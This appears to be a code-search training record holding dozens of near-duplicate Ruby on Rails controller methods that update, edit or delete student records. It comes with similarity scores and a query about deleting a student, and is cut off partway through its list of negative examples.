"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: '学生资料更新成功.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Alumno guardado con éxito.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to active_students_url, notice: 'Student was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n if @indexstudent.update_attributes(params[:indexstudent])\n format.html { redirect_to @indexstudent, notice: 'Indexstudent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexstudent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: params[:student]}#'Debug: #{params[:student]} Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_id.update(student_id_params)\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully updated.' }\n else\n format.html { redirect_to @student_id, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_id }\n end\n else\n format.html { render :edit }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Student.find(params[:id]).update(student_params)\n redirect_to \"/dojos\"\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update(student_params)\n render :show, status: :ok, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n @student = Student.find(params[:id])\n @student.update_attributes(params[:student])\n end",
"def update\n @student = Student.find(params[:id])\n if @student.klass and @student.klass.id != params[:student][:klass_id].to_i\n @student.papers.delete_all\n end\n if(@student.update_attributes(params[:student])) \n # TODO redesign this when we do wizard flows for right-bar actions\n if(session[:redirect]) and session[:redirect] == student_path(@student)\n render :update do |page|\n # TODO wizard for adding subjects or render breadcrumbs thru ajax\n page.redirect_to session[:redirect]\n end\n else\n render :template => 'students/update_success'\n end\n else\n render :template => 'students/update_failure'\n end\n end",
"def update\n respond_to do |format|\n if @manage_student.update(manage_student_params)\n format.html { redirect_to @manage_student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @manage_student }\n else\n format.html { render :edit }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = User::Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to user_student_path(@user, @student), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: user_student_path(@user, @student) }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Se actualizó el registro de alumna satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @student = current_student\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admissions_url, success: 'Student record was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n\t\t#for each student, find that student using the student id\n\t\t@student = Student.find(params[:id])\n\t\t#each category is an array with 3 items - with @ so that view controller can find it, and displays those labels (on edit form)\n\t\t@cats = [\"email\", \"phone\", \"slack\"]\n\t\t#go to the new student page in order to edit\n\t\trender :new\n\t#wraps up \"edit\" action\n\tend",
"def update\n respond_to do |format|\n if @student.update(student_params)\n flash[:notice] = \"Record mahasiswa berhasil diubah, #{undo_link(@student)}\"\n format.js\n # format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.js { render action: 'edit' }\n # format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if current_user.is_admin?\n if @student.update(student_params_spcial)\n format.html { redirect_to @student, notice: 'Status de Beca Establecida con Exito.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n else\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Actualizacion Exitosa.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @dojo_student = DojoStudent.find(params[:id])\n\n respond_to do |format|\n if @dojo_student.update_attributes(params[:dojo_student])\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n if @student_user.update_attributes(params[:student_user])\n format.html { redirect_to @student_user, notice: 'Student user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(admin_student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n if @enrolled_student.update_attributes(params[:enrolled_student])\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'El estudiante fue actualizado.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_referee = StudentReferee.find(params[:id])\n\n respond_to do |format|\n if @student_referee.update_attributes(params[:student_referee])\n format.html { redirect_to(@student_referee, :notice => 'Student referee was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_referee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to lop_students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n #Validate\n id = params[:id]\n @course = Course.find(id)\n requires({'role' => ['admin','faculty'],'course_id' => id})\n if(@course.nil?)\n flash[:error] = 'Something has gone horribly wrong. A system administrator has been contacted.'\n else\n student_ids = StudentInCourse.where(:course_id => id).collect(&:user_id)\n ta_ids = TaForCourse.where(:course_id => id).collect(&:user_id)\n \n @students = User.find_all_by_id(student_ids)\n @tas = User.find_all_by_id(ta_ids)\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student,\n notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n @student.registration_year = AdminController::SchoolYear\n @other_user = get_other_user(session[:other_user_id]) # find the user for the edited contact\n\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n # if @student.save\n flash[:notice] = 'Student was successfully registered/updated.'\n format.html { redirect_to(@other_user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admin_student_path(@student), notice: 'student was successfully updated.' }\n format.json { render action: 'show', status: :updated, location: @student }\n #format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_student.update(class_student_params)\n format.html { redirect_to @class_student, notice: 'Class student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n student = Student.find(params[:id])\n if student.update(student_params)\n render json: { status: '200', message: \"Updated Student with id #{params[:id]}\", data: student }, status: :ok\n else\n render json: { status: '422', error: 'Student not updated', data: student.errors }, status: :unprocessable_entity\n end\n rescue ActiveRecord::RecordNotFound\n render json: { status: '404', error: \"No Student with id #{params[:id]}\", data: student }, status: :not_found\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n add_model_error_to_flash @student\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n if (@student.family_id && @student.family_id > 0)\n @family = Family.find(@student.family_id)\n end\n\n @resound_process = ResoundProcess.find_by_student_id(@student.id)\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student update successful.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @student1 = Student1.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @student1.update_attributes(params[:student1])\r\n format.html { redirect_to @student1, notice: 'Student1 was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @student1.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @admin_student.update(admin_student_params)\n format.html { redirect_to @admin_student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @admin_student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.teacher.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", @student.id, current_user.teacher.id).update_all(idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_profile = StudentProfile.find(params[:id])\n\n respond_to do |format|\n if @student_profile.update_attributes(params[:student_profile])\n format.html { redirect_to(@student_profile, :notice => 'Student profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_record.update(student_record_params)\n format.html { redirect_to @student_record, notice: 'Student record was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_record }\n else\n format.html { render :edit }\n format.json { render json: @student_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @studentgrade = Studentgrade.find(params[:id])\n\n respond_to do |format|\n if @studentgrade.update_attributes(params[:studentgrade])\n format.html { redirect_to @studentgrade, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.81054056",
"0.78222513",
"0.77056813",
"0.76945907",
"0.76774395",
"0.7658814",
"0.76107025",
"0.75962895",
"0.75708747",
"0.75332284",
"0.7515113",
"0.74779904",
"0.74699485",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74300784",
"0.7425689",
"0.7425689",
"0.739967",
"0.7397023",
"0.7390399",
"0.7383101",
"0.7378853",
"0.73668814",
"0.73658895",
"0.7347542",
"0.73142993",
"0.7311532",
"0.7311532",
"0.7311532",
"0.7309841",
"0.72987026",
"0.72877866",
"0.7281824",
"0.7270042",
"0.72674245",
"0.72674245",
"0.72674245",
"0.72536093",
"0.7216268",
"0.7213985",
"0.72107995",
"0.72084117",
"0.7205939",
"0.71982473",
"0.71982473",
"0.71976143",
"0.7194109",
"0.71844214",
"0.71578944",
"0.71441627",
"0.71416384",
"0.7140075",
"0.71252936",
"0.7122486",
"0.71173114",
"0.71080655",
"0.7107902",
"0.7106004",
"0.7104311",
"0.7100533",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.7097892",
"0.70960367",
"0.70916545",
"0.70916533",
"0.70678544",
"0.7064673",
"0.7040705",
"0.7024947",
"0.7016231",
"0.7009308",
"0.70050186",
"0.6993319",
"0.69931775",
"0.698887",
"0.698887",
"0.698887",
"0.6972993",
"0.6972199",
"0.6971353",
"0.6957723"
] | 0.8017307 | 1 |
destroy This method is used to delete a student from the database The student is fetched buy the id And after delete, the web page is routed to the student index page located at students_path | def destroy
@student = Student.find(params[:id])
@student.destroy
redirect_to students_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n\t\t#for each student, find that student by using the student id, then destroy\n\t\t@student = Student.find(params[:id]).destroy\n\t\t#go back to the student path\n\t\tredirect_to students_path\n\t#wraps up student \"destroy\" action\n\tend",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n end",
"def destroy\n Student.find(params[:id]).destroy\n redirect_to \"/dojos\"\n end",
"def destroy\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n\n @student = Student.find(params[:id])\n @student.destroy\n redirect_to \"/students/\"\n\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n flash[:notice] = _('Student was successfully deleted.')\n format.html { redirect_to(:action => 'index') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Студент був видалений.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n flash[:notice] = \"Student has been deleted successfully\"\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n redirect_to students_url, notice: 'Student was successfully destroyed.'\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n flash[:notice] = 'Record mahasiswa berhasil dihapus, #{undo_link(@student)}'\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: '生徒情報は削除されました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @student.destroy\n flash[:success] = \"Aluno deletado com sucesso\"\n redirect_to students_path\n else\n flash[:success] = \"Não foi possível deletar o aluno\"\n end\n end",
"def destroy\n @student.destroy\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed' }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n student = Student.find(params[:id])\n student.destroy!\n\n render json: {status: 'SUCCESS', message:\"Student deleted Successfully with name #{student.name}\"}, status: :ok\n rescue => error\n render json: {status: 'ERROR', message:'Student Update failed!', data:error}, status: :unprocessable_entity\n end\n end",
"def destroy\n Student.delete(params[:id])\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to login_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student = current_user.students.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @indexstudent = Indexstudent.find(params[:id])\n @indexstudent.destroy\n\n respond_to do |format|\n format.html { redirect_to indexstudents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy rescue flash[:notice] = 'No se puede borrar el alumno'\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = @current_lop.students.find(params[:id])\n if @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n\t\t@student = Student.find(params[:id])\n\n\t\[email protected] do |course|\n\t\t\tcourse.students.delete @student\n\t\tend\n\n\t\[email protected]\n\t \n\t\tredirect_to root_url\n\tend",
